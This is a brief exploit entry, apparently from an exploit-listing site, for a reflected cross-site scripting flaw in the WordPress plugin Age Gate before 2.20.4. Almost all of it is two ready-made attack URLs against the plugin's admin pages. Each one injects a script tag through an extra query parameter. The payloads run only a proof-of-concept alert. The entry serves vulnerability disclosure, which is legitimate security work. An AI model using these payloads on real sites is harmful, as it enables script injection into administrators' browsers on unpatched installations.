Exploit for Age Gate < 2.20.4 - Reflected Cross-Site Scripting

## https://sploitus.com/exploit?id=WPEX-ID:A13148FE-FFC9-4003-A44D-652624BA5535
With the "Age Gate User Registration" addon installed: https://example.com/wp-admin/admin.php?page=age-gate&a"><script>alert(/XSS/)</script>

With any addon installed: https://example.com/wp-admin/admin.php?page=age-gate-addons&a"><script>alert(/XSS/)</script>